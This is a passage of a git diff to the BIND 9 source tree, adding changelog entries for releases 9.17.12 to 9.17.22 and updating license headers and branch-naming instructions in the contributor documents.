+			restrict the IPv6 sockets to sending and
+			receiving IPv6 packets only. [GL #3093]
+
+5793.	[bug]		Correctly detect and enable UDP recvmmsg support
+			in all versions of libuv that support it. [GL #3095]
+
+5792.	[bug]		Don't schedule zone events on ISC_R_SHUTTINGDOWN
+			event failures. [GL #3084]
+
+5791.	[func]		Remove workaround for servers returning FORMERR
+			when receiving NOTIFY query with SOA record in
+			ANSWER section. [GL #3086]
+
+5790.	[bug]		The control channel was incorrectly looking for
+			ISC_R_CANCELED as a signal that the named is
+			shutting down.  In the dispatch refactoring,
+			the result code returned from network manager
+			is now ISC_R_SHUTTINGDOWN.  Change the control
+			channel code to use ISC_R_SHUTTINGDOWN result
+			code to detect named being shut down. [GL #3079]
+
+	--- 9.17.22 released ---
+
+5789.	[bug]		Allow replacing expired zone signatures with
+			signatures created by the KSK. [GL #3049]
+
+5788.	[bug]		An assertion could occur if a catalog zone event was
+			scheduled while the task manager was being shut
+			down. [GL #3074]
+
+5787.	[doc]		Update 'auto-dnssec' documentation, it may only be
+			activated at zone level. [GL #3023]
+
+5786.	[bug]		Defer detaching from zone->raw in zone_shutdown() if
+			the zone is in the process of being dumped to disk, to
+			ensure that the unsigned serial number information is
+			always written in the raw-format header of the signed
+			version on an inline-signed zone. [GL #3071]
+
+5785.	[bug]		named could leak memory when two dnssec-policy clauses
+			had the same name. named failed to log this error.
+			[GL #3085]
+
+5784.	[func]		Implement TLS-contexts reuse. Reusing the
+			previously created TLS context objects can reduce
+			initialisation time for some configurations and enables
+			TLS session resumption for incoming zone transfers over
+			TLS (XoT). [GL #3067]
+
+5783.	[func]		named is now able to log TLS pre-master secrets for
+			debugging purposes. This requires setting the
+			SSLKEYLOGFILE environment variable appropriately.
+			[GL #2723]
+
+5782.	[func]		Use ECDSA P-256 instead of a 4096-bit RSA when
+			generating ephemeral key and certificate for the
+			'tls ephemeral' configuration. [GL #2264]
+
+5781.	[bug]		Make BIND work with OpenSSL 3.0.1 as it is now
+			enforcing minimum buffer lengths in EVP_MAC_final and
+			hence EVP_DigestSignFinal.  rndc and TSIG at a minimum
+			were broken by this change. [GL #3057]
+
+5780.	[bug]		The Linux kernel may send netlink messages
+			indicating that network interfaces have changed
+			when they have not. This caused frequent unnecessary
+			re-scans of the interfaces.  Netlink messages now
+			only trigger re-scanning if a new address is seen
+			or an existing address is removed. [GL #3055]
+
+5779.	[test]		Drop cppcheck suppressions and workarounds. [GL #2886]
+
+5778.	[bug]		Destroyed TLS contexts could have been used after a
+			reconfiguration, making BIND unable to serve queries
+			over TLS and HTTPS. [GL #3053]
+
+5777.	[bug]		TCP connections could hang after receiving
+			non-matching responses. [GL #3042]
+
+5776.	[bug]		Add a missing isc_condition_destroy() for nmsocket
+			condition variable and add missing isc_mutex_destroy()
+			for nmworker lock. [GL #3051]
+
+	--- 9.17.21 released ---
+
+5775.	[bug]		Added a timer in the resolver to kill fetches that
+			have deadlocked as a result of dependency loops
+			with the ADB or the validator. This condition is
+			now logged with the message "shut down hung fetch
+			while resolving '<name>/<type>'". [GL #3040]
+
+5774.	[func]		Restore NSEC Aggressive Cache ("synth-from-dnssec")
+			as active by default. It is limited to NSEC only
+			and by default ignores NSEC records with next name
+			in form \000.domain. [GL #1265]
+
+5773.	[func]		Change the message when accepting TCP connection has
+			failed to say "Accepting TCP connection failed" and
+			change the log level for ISC_R_NOTCONNECTED, ISC_R_QUOTA
+			and ISC_R_SOFTQUOTA results codes from ERROR to INFO.
+			[GL #2700]
+
+5772.	[bug]		The resolver could hang on shutdown due to dispatch
+			resources not being cleaned up when a TCP connection
+			was reset. [GL #3026]
+
+5771.	[bug]		Use idn2 UseSTD3ASCIIRules=false to disable additional
+			unicode validity checks because enabling the additional
+			checks would break valid domain names that contains
+			non-alphanumerical characters such as underscore
+			character (_) or wildcard (*).  This reverts change
+			[GL !5738] from the previous release. [GL #1610]
+
+5770.	[func]		BIND could abort on startup on systems using old
+			OpenSSL versions when 'protocols' option is used inside
+			a 'tls' statement. [GL !5602]
+
+5769.	[func]		Added support for client-side 'tls' parameters when
+			doing incoming zone transfers via XoT. [GL !5602]
+
+5768.	[bug]		dnssec-dsfromkey failed to omit revoked keys. [GL #853]
+
+5767.	[func]		Extend allow-transfer option with 'port' and
+			'transport' options to restrict zone transfers to
+			a specific port and DNS transport protocol.
+			[GL #2776]
+
+5766.	[func]		Unused 'tls' clause options 'ca-file' and 'hostname'
+			were disabled. [GL !5600]
+
+5765.	[bug]		Fix a bug in DoH implementation making 'dig'
+			abort when ALPN negotiation fails. [GL #3022]
+
+5764.	[bug]		dns_sdlz_putrr failed to process some valid resource
+			records. [GL #3021]
+
+5763.	[bug]		Fix a bug in DoT code leading to an abort when
+			a zone transfer ends with an unexpected DNS message.
+			[GL #3004]
+
+5762.	[bug]		Fix a "named" crash related to removing and restoring a
+			`catalog-zone` entry in the configuration file and
+			running `rndc reconfig`. [GL #1608]
+
+5761.	[bug]		OpenSSL 3.0.0 support could fail to correctly read
+			ECDSA private keys leading to incorrect signatures
+			being generated. [GL #3014]
+
+5760.	[bug]		Prevent a possible use-after-free error in resolver.
+			[GL #3018]
+
+5759.	[func]		Set Extended DNS Error Code 18 - Prohibited if query
+			access is denied to the specific client. [GL #1836]
+
+5758.	[bug]		mdig now honors the operating system's preferred
+			ephemeral port range. [GL #2374]
+
+5757.	[test]		Replace sed in nsupdate system test with awk to
+			construct the nsupdate command.  The sed expression
+			was not reliably changing the ttl. [GL #3003]
+
+5756.	[func]		Assign HTTP freshness lifetime to responses sent
+			via DNS-over-HTTPS, according to the recommendations
+			given in RFC 8484. [GL #2854]
+
+	--- 9.17.20 released ---
+
+5755.	[bug]		The statistics channel wasn't correctly handling
+			multiple HTTP requests, or pipelined or truncated
+			requests. [GL #2973]
+
+5754.	[bug]		"tls" statements may omit "key-file" and "cert-file",
+			but if either one is specified, then both must be.
+			[GL #2986]
+
+5753.	[placeholder]
+
+5752.	[bug]		Fix an assertion failure caused by missing member zones
+			during a reload of a catalog zone. [GL #2308]
+
+5751.	[port]		Add support for OpenSSL 3.0.0.  OpenSSL 3.0.0
+			deprecated 'engine' support.  If OpenSSL 3.0.0 has
+			been built without support for deprecated functionality
+			pkcs11 via engine_pkcs11 is no longer available.
+			[GL #2843]
+
+5750.	[bug]		Fix a bug when comparing two RSA keys. There was a typo
+			which caused the "p" prime factors to not being
+			compared. [GL #2972]
+
+5749.	[bug]		Handle duplicate references to the same catalog
+			zone gracefully. [GL #2916]
+
+5748.	[func]		Update "nsec3param" defaults to iterations 0, salt
+			length 0. [GL #2956]
+
+5747.	[func]		Update rndc serve-stale status output to be less
+			confusing. [GL #2742]
+
+5746.	[bug]		A lame server delegation could lead to a loop in which
+			a resolver fetch depends on an ADB find which depends
+			on the same resolver fetch. Previously, this would
+			cause the fetch to hang until timing out, but after
+			change #5730 it would hang forever. The condition is
+			now detected and avoided. [GL #2927]
+
+5745.	[bug]		Fetch context objects now use attach/detach
+			semantics to make it easier to find and debug
+			reference-counting errors, and several such errors
+			have been fixed. [GL #2953]
+
+5744.	[func]		The network manager is now used for netlink sockets
+			to monitor network interface changes. This was the
+			last remaining use of the old isc_socket and
+			isc_socketmgr APIs, so they have now been removed.
+			The "named -S" argument and the "reserved-sockets"
+			option in named.conf have no function now, and are
+			deprecated. "socketmgr" statistics are no longer
+			reported in the statistics channel. [GL #2926]
+
+5743.	[func]		Add finer-grained "update-policy" rules,
+			"krb5-subdomain-self-rhs" and "ms-subdomain-self-rhs",
+			which restrict SRV and PTR record changes, allowing
+			only records whose content matches the machine name
+			embedded in the Kerberos principal making the change.
+			[GL #481]
+
+5742.	[func]		ISC_LIKELY() and ISC_UNLIKELY() macros have been
+			removed. [GL #2952]
+
+5741.	[bug]		Log files with "timestamp" suffixes could be left in
+			place after rolling, even if the number of preserved
+			log files exceeded the configured "versions" limit.
+			[GL #828]
+
+5740.	[func]		Implement incremental resizing of RBT hash table to
+			perform the rehashing gradually. [GL #2941]
+
+5739.	[func]		Change default of 'dnssec-dnskey-kskonly' to 'yes'.
+			[GL #1316]
+
+5738.	[bug]		Enable idn2 UseSTD3ASCIIRules=true to implement
+			additional unicode validity checks. [GL #1610]
+
+5737.	[bug]		Address Coverity warning in lib/dns/dnssec.c.
+			[GL #2935]
+
+	--- 9.17.19 released ---
+
+5736.	[security]	The "lame-ttl" option is now forcibly set to 0. This
+			effectively disables the lame server cache, as it could
+			previously be abused by an attacker to significantly
+			degrade resolver performance. (CVE-2021-25219)
+			[GL #2899]
+
+5735.	[cleanup]	The result codes which BIND 9 uses internally are now
+			all defined as a single list of enum values rather than
+			as multiple sets of integers scattered around shared
+			libraries. This prevents the need for locking in some
+			functions operating on result codes, and makes result
+			codes more debugger-friendly. [GL #719]
+
+5734.	[bug]		Fix intermittent assertion failures in dig which were
+			triggered during zone transfers. [GL #2884]
+
+5733.	[func]		Require the "dot" Application-Layer Protocol Negotiation
+			(ALPN) token to be selected in the TLS handshake for
+			zone transfers over TLS (XoT), as required by RFC 9103
+			section 7.1. [GL #2794]
+
+5732.	[cleanup]	Remove the dns_lib_init(), dns_lib_shutdown(),
+			ns_lib_init(), and ns_lib_shutdown() functions, as they
+			no longer served any useful purpose. [GL #88]
+
+5731.	[bug]		Disallow defining "http" configuration clauses called
+			"default" as they were silently ignored. [GL #2925]
+
+5730.	[func]		The resolver and the request and dispatch managers have
+			been substantially refactored, and are now based on the
+			network manager instead of the old isc_socket API. All
+			outgoing DNS queries and requests now use the new API;
+			isc_socket is only used to monitor for network interface
+			changes. [GL #2401]
+
+5729.	[func]		Allow finer control over TLS protocol configuration by
+			implementing new options for "tls" configuration clauses
+			("dhparam-file", "ciphers", "prefer-server-ciphers",
+			"session-tickets"). These options make achieving perfect
+			forward secrecy (PFS) possible for DNS-over-TLS (DoT)
+			and DNS-over-HTTPS (DoH). [GL #2796]
+
+5728.	[func]		Allow specifying supported TLS protocol versions for
+			each "tls" configuration clause. [GL #2795]
+
+5727.	[placeholder]
+
+5726.	[bug]		Fix a use-after-free bug which was triggered while
+			checking for duplicate "http" configuration clauses.
+			[GL #2924]
+
+5725.	[bug]		Fix an assertion failure triggered by passing an invalid
+			HTTP path to dig. [GL #2923]
+
+5724.	[bug]		Address a potential deadlock when checking zone content
+			consistency. [GL #2908]
+
+5723.	[bug]		Change 5709 broke backward compatibility for the
+			"check-names master ..." and "check-names slave ..."
+			options. This has been fixed. [GL #2911]
+
+5722.	[bug]		Preserve the contents of the receive buffer for TCPDNS
+			and TLSDNS when growing its size. [GL #2917]
+
+5721.	[func]		A new realloc()-like function, isc_mem_reget(), was
+			added to the libisc API for resizing memory chunks
+			allocated using isc_mem_get(). Memory (re)allocation
+			functions are now guaranteed to return non-NULL pointers
+			for zero-sized allocation requests. [GL !5440]
+
+5720.	[contrib]	Remove old-style DLZ drivers that had to be enabled at
+			build time. [GL #2814]
+
+5719.	[func]		Remove support for the "map" zone file format.
+			[GL #2882]
+
+5718.	[bug]		The "sig-signing-type" zone configuration option was
+			processed incorrectly, causing valid configurations to
+			be rejected. This has been fixed. [GL #2906]
+
+5717.	[func]		The "cache-file" option, which was documented as "for
+			testing purposes only" and not to be used, has been
+			removed. [GL #2903]
+
+5716.	[placeholder]
+
+5715.	[func]		Add a check for ports specified in "*-source(-v6)"
+			options clashing with a global listening port. Such a
+			configuration was already unsupported, but it failed
+			silently; it is now treated as an error. [GL #2888]
+
+5714.	[bug]		Remove the "adjust interface" mechanism which was
+			responsible for setting up listeners on interfaces when
+			the "*-source(-v6)" address and port were the same as
+			the "listen-on(-v6)" address and port. Such a
+			configuration is no longer supported; under certain
+			timing conditions, that mechanism could prevent named
+			from listening on some TCP ports. This has been fixed.
+			[GL #2852]
+
+5713.	[func]		Add "primaries" as a synonym for "masters" and
+			"default-primaries" as a synonym for "default-masters"
+			in catalog zone configuration options. [GL #2818]
+
+5712.	[func]		Remove native PKCS#11 support in favor of engine_pkcs11
+			from the OpenSC project. [GL #2691]
+
+	--- 9.17.18 released ---
+
+5711.	[bug]		"map" files exceeding 2GB in size failed to load due to
+			a size comparison that incorrectly treated the file size
+			as a signed integer. [GL #2878]
+
+5710.	[placeholder]
+
+5709.	[func]		When reporting zone types in the statistics channel, the
+			terms "primary" and "secondary" are now used instead of
+			"master" and "slave", respectively. Enum values
+			throughout the code have been updated to use this
+			terminology as well. [GL #1944]
+
+5708.	[placeholder]
+
+5707.	[bug]		A bug was fixed which prevented dig from querying
+			DNS-over-HTTPS (DoH) servers via IPv6. [GL #2860]
+
+5706.	[cleanup]	Support for external applications to register with
+			libisc and use it has been removed. Export versions of
+			BIND 9 libraries have not been supported for some time,
+			but the isc_lib_register() function was still available;
+			it has now been removed. [GL !2420]
+
+5705.	[bug]		Change #5686 altered the internal memory structure of
+			zone databases, but neglected to update the MAPAPI value
+			for zone files in "map" format. This caused named to
+			attempt to load incompatible map files, triggering an
+			assertion failure on startup. The MAPAPI value has now
+			been updated, so named rejects outdated files when
+			encountering them. [GL #2872]
+
+5704.	[bug]		Change #5317 caused the EDNS TCP Keepalive option to be
+			ignored inadvertently in client requests. It has now
+			been fixed and this option is handled properly again.
+			[GL #1927]
+
+5703.	[bug]		Fix a crash in dig caused by closing an HTTP/2 socket
+			associated with an unused HTTP/2 session. [GL #2858]
+
+5702.	[bug]		Improve compatibility with DNS-over-HTTPS (DoH) clients
+			by allowing HTTP/2 request headers in any order.
+			[GL #2875]
+
+5701.	[bug]		named-checkconf failed to detect syntactically invalid
+			values of the "key" and "tls" parameters used to define
+			members of remote server lists. [GL #2461]
+
+5700.	[bug]		When a member zone was removed from a catalog zone,
+			journal files for the former were not deleted.
+			[GL #2842]
+
+5699.	[func]		Data structures holding DNSSEC signing statistics are
+			now grown and shrunk as necessary upon key rollover
+			events. [GL #1721]
+
+5698.	[bug]		When a DNSSEC-signed zone which only has a single
+			signing key available is migrated to use KASP, that key
+			is now treated as a Combined Signing Key (CSK).
+			[GL #2857]
+
+5697.	[func]		dnssec-cds now only generates SHA-2 DS records by
+			default and avoids copying deprecated SHA-1 records from
+			a child zone to its delegation in the parent. If the
+			child zone does not publish SHA-2 CDS records,
+			dnssec-cds will generate them from the CDNSKEY records.
+			The "-a algorithm" option now affects the process of
+			generating DS digest records from both CDS and CDNSKEY
+			records. Thanks to Tony Finch. [GL #2871]
+
+5696.	[protocol]	Support for HTTPS and SVCB record types has been added.
+			[GL #1132]
+
+5695.	[func]		Add a new dig command-line option, "+showbadcookie",
+			which causes a BADCOOKIE response message to be
+			displayed when it is received from the server.
+			[GL #2319]
+
+5694.	[bug]		Stale data in the cache could cause named to send
+			non-minimized queries despite QNAME minimization being
+			enabled. [GL #2665]
+
+5693.	[func]		Restore support for reading "timeout" and "attempts"
+			options from /etc/resolv.conf, and use their values in
+			dig, host, and nslookup. (This was previously supported
+			by liblwres, and was still mentioned in the man pages,
+			but had stopped working after liblwres was deprecated in
+			favor of libirs.) [GL #2785]
+
+5692.	[bug]		Fix a rare crash in DNS-over-HTTPS (DoH) code caused by
+			detaching from an HTTP/2 session handle too early when
+			sending data. [GL #2851]
+
+5691.	[bug]		When a dynamic zone was made available in another view
+			using the "in-view" statement, running "rndc freeze"
+			always reported an "already frozen" error even though
+			the zone was successfully frozen. [GL #2844]
+
+5690.	[func]		dnssec-signzone now honors Predecessor and Successor
+			metadata found in private key files: if a signature for
+			an RRset generated by the inactive predecessor exists
+			and does not need to be replaced, no additional
+			signature is now created for that RRset using the
+			successor key. This enables dnssec-signzone to gradually
+			replace RRSIGs during a ZSK rollover. [GL #1551]
+
+	--- 9.17.17 released ---
+
+5689.	[security]	An assertion failure occurred when named attempted to
+			send a UDP packet that exceeded the MTU size, if
+			Response Rate Limiting (RRL) was enabled.
+			(CVE-2021-25218) [GL #2856]
+
+5688.	[bug]		Zones using KASP and inline-signed zones failed to apply
+			changes from the unsigned zone to the signed zone under
+			certain circumstances. This has been fixed. [GL #2735]
+
+5687.	[bug]		"rndc reload <zonename>" could trigger a redundant
+			reload for an inline-signed zone whose zone file was not
+			modified since the last "rndc reload". This has been
+			fixed. [GL #2855]
+
+5686.	[func]		The number of internal data structures allocated for
+			each zone was reduced. [GL #2829]
+
+5685.	[bug]		named failed to check the opcode of responses when
+			performing zone refreshes, stub zone updates, and UPDATE
+			forwarding. This has been fixed. [GL #2762]
+
+5684.	[func]		The DNS-over-HTTP (DoH) configuration syntax was
+			extended:
+			- The maximum number of active DoH connections can now
+			  be set using the "http-listener-clients" option. The
+			  default is 300.
+			- The maximum number of concurrent HTTP/2 streams per
+			  connection can now be set using the
+			  "http-streams-per-connection" option. The default is
+			  100.
+			- Both of these values can also be set on a per-listener
+			  basis using the "listener-clients" and
+			  "streams-per-connection" parameters in an "http"
+			  statement.
+			[GL #2809]
+
+5683.	[bug]		The configuration-checking code now verifies HTTP paths.
+			[GL !5231]
+
+5682.	[bug]		Some changes to "zone-statistics" settings were not
+			properly processed by "rndc reconfig". This has been
+			fixed. [GL #2820]
+
+5681.	[func]		Relax the checks in the dns_zone_cdscheck() function to
+			allow CDS and CDNSKEY records in the zone that do not
+			match an existing DNSKEY record, as long as the
+			algorithm matches. This allows a clean rollover from one
+			provider to another in a multi-signer DNSSEC
+			configuration. [GL #2710]
+
+5680.	[bug]		HTTP GET requests without query strings caused a crash
+			in DoH code. This has been fixed. [GL !5268]
+
+5679.	[func]		Thread affinity is no longer set. [GL #2822]
+
+5678.	[bug]		The "check DS" code failed to release all resources upon
+			named shutdown when a refresh was in progress. This has
+			been fixed. [GL #2811]
+
+5677.	[func]		Previously, named accepted FORMERR responses both with
+			and without an OPT record, as an indication that a given
+			server did not support EDNS. To implement full
+			compliance with RFC 6891, only FORMERR responses without
+			an OPT record are now accepted. This intentionally
+			breaks communication with servers that do not support
+			EDNS and that incorrectly echo back the query message
+			with the RCODE field set to FORMERR and the QR bit set
+			to 1. [GL #2249]
+
+5676.	[func]		Memory allocation has been substantially refactored; it
+			is now based on the memory allocation API provided by
+			the jemalloc library, which is a new optional build
+			dependency for BIND 9. [GL #2433]
+
+5675.	[bug]		Compatibility with DoH clients has been improved by
+			ignoring the value of the "Accept" HTTP header.
+			[GL !5246]
+
+5674.	[bug]		A shutdown hang was triggered by DoH clients prematurely
+			aborting HTTP/2 streams. This has been fixed. [GL !5245]
+
+5673.	[func]		Add a new build-time option, --disable-doh, to allow
+			building BIND 9 without the libnghttp2 library.
+			[GL #2478]
+
+5672.	[bug]		Authentication of rndc messages could fail if a
+			"controls" statement was configured with multiple key
+			algorithms for the same listener. This has been fixed.
+			[GL #2756]
+
+	--- 9.17.16 released ---
+
+5671.	[bug]		A race condition could occur where two threads were
+			competing for the same set of key file locks, leading to
+			a deadlock. This has been fixed. [GL #2786]
+
+5670.	[bug]		create_keydata() created an invalid placeholder keydata
+			record upon a refresh failure, which prevented the
+			database of managed keys from subsequently being read
+			back. This has been fixed. [GL #2686]
+
+5669.	[func]		KASP support was extended with the "check DS" feature.
+			Zones with "dnssec-policy" and "parental-agents"
+			configured now check for DS presence and can perform
+			automatic KSK rollovers. [GL #1126]
+
+5668.	[bug]		Rescheduling a setnsec3param() task when a zone failed
+			to load on startup caused a hang on shutdown. This has
+			been fixed. [GL #2791]
+
+5667.	[bug]		The configuration-checking code failed to account for
+			the inheritance rules of the "dnssec-policy" option.
+			This has been fixed. [GL #2780]
+
+5666.	[doc]		The safe "edns-udp-size" value was tweaked to match the
+			probing value from BIND 9.16 for better compatibility.
+			[GL #2183]
+
+5665.	[bug]		If nsupdate sends an SOA request and receives a REFUSED
+			response, it now fails over to the next available
+			server. [GL #2758]
+
+5664.	[func]		For UDP messages larger than the path MTU, named now
+			sends an empty response with the TC (TrunCated) bit set.
+			In addition, setting the DF (Don't Fragment) flag on
+			outgoing UDP sockets was re-enabled. [GL #2790]
+
+5663.	[bug]		Non-zero OPCODEs are now properly handled when receiving
+			queries over DNS-over-TLS (DoT) and DNS-over-HTTPS (DoH)
+			channels. [GL #2787]
+
+5662.	[bug]		Views with recursion disabled are now configured with a
+			default cache size of 2 MB unless "max-cache-size" is
+			explicitly set. This prevents cache RBT hash tables from
+			being needlessly preallocated for such views. [GL #2777]
+
+5661.	[bug]		Change 5644 inadvertently introduced a deadlock: when
+			locking the key file mutex for each zone structure in a
+			different view, the "in-view" logic was not considered.
+			This has been fixed. [GL #2783]
+
+5660.	[bug]		The configuration-checking code failed to account for
+			the inheritance rules of the "key-directory" option.
+			[GL #2778]
+
+			This change was included in BIND 9.17.15.
+
+5659.	[bug]		When preparing DNS responses, named could replace the
+			letters 'W' (uppercase) and 'w' (lowercase) with '\000'.
+			This has been fixed. [GL #2779]
+
+			This change was included in BIND 9.17.15.
+
+5658.	[bug]		Increasing "max-cache-size" for a running named instance
+			(using "rndc reconfig") did not cause the hash tables
+			used by cache databases to be grown accordingly. This
+			has been fixed. [GL #2770]
+
+5657.	[cleanup]	Support was removed for both built-in atomics in old
+			versions of Clang (< 3.6.0) and GCC (< 4.7.0), and
+			atomics emulated with a mutex. [GL #2606]
+
+5656.	[bug]		Named now ensures that large responses work correctly
+			over DNS-over-HTTPS (DoH), and that zone transfer
+			requests over DoH are explicitly rejected. [GL !5148]
+
+5655.	[bug]		Signed, insecure delegation responses prepared by named
+			either lacked the necessary NSEC records or contained
+			duplicate NSEC records when both wildcard expansion and
+			CNAME chaining were required to prepare the response.
+			This has been fixed. [GL #2759]
+
+5654.	[port]		Windows support has been removed. [GL #2690]
+
+5653.	[bug]		A bug that caused the NSEC3 salt to be changed on every
+			restart for zones using KASP has been fixed. [GL #2725]
+
+	--- 9.17.14 released ---
+
+5652.	[bug]		A copy-and-paste error in change 5584 caused the
+			IP_DONTFRAG socket option to be enabled instead of
+			disabled. This has been fixed. [GL #2746]
+
+5651.	[func]		Refactor zone dumping to be processed asynchronously via
+			the uv_work_t thread pool API. [GL #2732]
+
+5650.	[bug]		Prevent a crash that could occur if serve-stale was
+			enabled and a prefetch was triggered during a query
+			restart. [GL #2733]
+
+5649.	[bug]		If a query was answered with stale data on a server with
+			DNS64 enabled, an assertion could occur if a non-stale
+			answer arrived afterward. [GL #2731]
+
+5648.	[bug]		The calculation of the estimated IXFR transaction size
+			in dns_journal_iter_init() was invalid. [GL #2685]
+
+5647.	[func]		The interface manager has been refactored to use fewer
+			client manager objects, which in turn use fewer memory
+			contexts and tasks. This should result in less
+			fragmented memory and better startup performance.
+			[GL #2433]
+
+5646.	[bug]		The default TCP timeout for rndc has been increased to
+			60 seconds. This was its original value, but it had been
+			inadvertently lowered to 10 when rndc was updated to use
+			the network manager. [GL #2643]
+
+5645.	[cleanup]	Remove the rarely-used dns_name_copy() function and
+			rename dns_name_copynf() to dns_name_copy(). [GL !5081]
+
+5644.	[bug]		Fix a race condition in reading and writing key files
+			for zones using KASP and configured in multiple views.
+			[GL #1875]
+
+5643.	[placeholder]
+
+5642.	[bug]		Zones which are configured in multiple views with
+			different values set for "dnssec-policy" and with
+			identical values set for "key-directory" are now
+			detected and treated as a configuration error.
+			[GL #2463]
+
+5641.	[bug]		Address a potential memory leak in
+			dst_key_fromnamedfile(). [GL #2689]
+
+5640.	[func]		Add new configuration options for setting the size of
+			receive and send buffers in the operating system:
+			"tcp-receive-buffer", "tcp-send-buffer",
+			"udp-receive-buffer", and "udp-send-buffer". [GL #2313]
+
+5639.	[bug]		Check that the first and last SOA record of an AXFR are
+			consistent. [GL #2528]
+
+	--- 9.17.13 released ---
+
+5638.	[bug]		Improvements related to network manager/task manager
+			integration:
+			- isc_managers_create() and isc_managers_destroy()
+			  functions were added to handle setup and teardown of
+			  netmgr, taskmgr, timermgr, and socketmgr, since these
+			  require a precise order of operations now.
+			- Event queue processing is now quantized to prevent
+			  infinite looping.
+			- The netmgr can now be paused from within a netmgr
+			  thread.
+			- Deadlocks due to a conflict between netmgr's
+			  pause/resume and listen/stoplistening operations were
+			  fixed.
+			[GL #2654]
+
+5637.	[placeholder]
+
+5636.	[bug]		named and named-checkconf did not report an error when
+			multiple zones with the "dnssec-policy" option set were
+			using the same zone file. This has been fixed.
+			[GL #2603]
+
+5635.	[bug]		Journal compaction could fail when a journal with
+			invalid transaction headers was not detected at startup.
+			This has been fixed. [GL #2670]
+
+5634.	[bug]		If "dnssec-policy" was active and a private key file was
+			temporarily offline during a rekey event, named could
+			incorrectly introduce replacement keys and break a
+			signed zone. This has been fixed. [GL #2596]
+
+5633.	[doc]		The "inline-signing" option was incorrectly described as
+			being inherited from the "options"/"view" levels and was
+			incorrectly accepted at those levels without effect.
+			This has been fixed. [GL #2536]
+
+5632.	[func]		Add a new built-in KASP, "insecure", which is used to
+			transition a zone from a signed to an unsigned state.
+			The existing built-in KASP "none" should no longer be
+			used to unsign a zone. [GL #2645]
+
+5631.	[protocol]	Update the implementation of the ZONEMD RR type to match
+			RFC 8976. [GL #2658]
+
+5630.	[func]		Treat DNSSEC responses containing NSEC3 records with
+			iteration counts greater than 150 as insecure.
+			[GL #2445]
+
+5629.	[func]		Reduce the maximum supported number of NSEC3 iterations
+			that can be configured for a zone to 150. [GL #2642]
+
+5628.	[bug]		Host and nslookup could crash upon receiving a SERVFAIL
+			response. This has been fixed. [GL #2564]
+
+5627.	[bug]		RRSIG(SOA) RRsets placed anywhere other than at the zone
+			apex were triggering infinite resigning loops. This has
+			been fixed. [GL #2650]
+
+5626.	[bug]		When generating zone signing keys, KASP now also checks
+			for key ID conflicts among newly created keys, rather
+			than just between new and existing ones. [GL #2628]
+
+5625.	[bug]		A deadlock could occur when multiple "rndc addzone",
+			"rndc delzone", and/or "rndc modzone" commands were
+			invoked simultaneously for different zones. This has
+			been fixed. [GL #2626]
+
+5624.	[func]		Task manager events are now processed inside network
+			manager loops. The task manager no longer needs its own
+			set of worker threads, which improves resolver
+			performance. [GL #2638]
+
+5623.	[bug]		When named was shut down during an ongoing zone
+			transfer, xfrin_fail() could incorrectly be called
+			twice. This has been fixed. [GL #2630]
+
+5622.	[cleanup]	The lib/samples/ directory has been removed, as export
+			versions of libraries are no longer maintained.
+			[GL !4835]
+
+5621.	[placeholder]
+
+5620.	[bug]		If zone journal files written by BIND 9.16.11 or earlier
+			were present when BIND was upgraded, the zone file for
+			that zone could have been inadvertently rewritten with
+			the current zone contents. This caused the original zone
+			file structure (e.g. comments, $INCLUDE directives) to
+			be lost, although the zone data itself was preserved.
+			This has been fixed. [GL #2623]
+
+5619.	[protocol]	Implement draft-vandijk-dnsop-nsec-ttl, updating the
+			protocol such that NSEC(3) TTL values are set to the
+			minimum of the SOA MINIMUM value or the SOA TTL.
+			[GL #2347]
+
+5618.	[bug]		Change 5149 introduced some inconsistencies in the way
+			record TTLs were presented in cache dumps. These
+			inconsistencies have been eliminated. [GL #389]
+			[GL #2289]
+
 	--- 9.17.12 released ---
 
 5617.	[placeholder]
@@ -1083,7 +3645,7 @@
 5349.	[bug]		Fix a race in task_pause/unpause. [GL #1571]
 
 5348.	[bug]		dnssec-settime -Psync was not being honoured.
-			[GL !2893]
+			Thanks to Tony Finch. [GL !2893]
 
 	--- 9.15.8 released ---
 
diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index 67b4c15ac9..153305e433 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 # BIND 9 Code of Conduct
 
 Like the technical community as a whole, the BIND 9 team and community is made
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 991745f90e..c108dbeec6 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,12 +1,14 @@
 <!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 -->
 ## BIND 9 Source Access and Contributor Guidelines
 *May 28, 2020*
@@ -69,14 +71,14 @@ To clone the repository, use:
 
 >       $ git clone https://gitlab.isc.org/isc-projects/bind9.git
 
-Release branch names are of the form `v9_X`, where X represents the second
-number in the BIND 9 version number.  So, to check out the BIND 9.12
+Release branch names are of the form `bind-9.X`, where X represents the second
+number in the BIND 9 version number.  So, to check out the BIND 9.18
 branch, use:
 
->       $ git checkout v9_12
+>       $ git checkout bind-9.18
 
 Whenever a branch is ready for publication, a tag is placed of the
-form `v9_X_Y`.  The 9.12.0 release, for instance, is tagged as `v9_12_0`.
+form `v9.X.Y`.  The 9.18.0 release, for instance, is tagged as `v9.18.0`.
 
 The branch in which the next major release is being developed is called
 `main`.
@@ -100,22 +102,7 @@ Twitter, or Facebook.
 
 ### Reporting possible security issues
 
-If you think you may be seeing a potential security vulnerability in BIND
-(for example, a crash with REQUIRE, INSIST, or ASSERT failure), please
-report it immediately by emailing to security-officer@isc.org. Plain-text
-e-mail is not a secure choice for communications concerning undisclosed
-security issues so please encrypt your communications to us if possible,
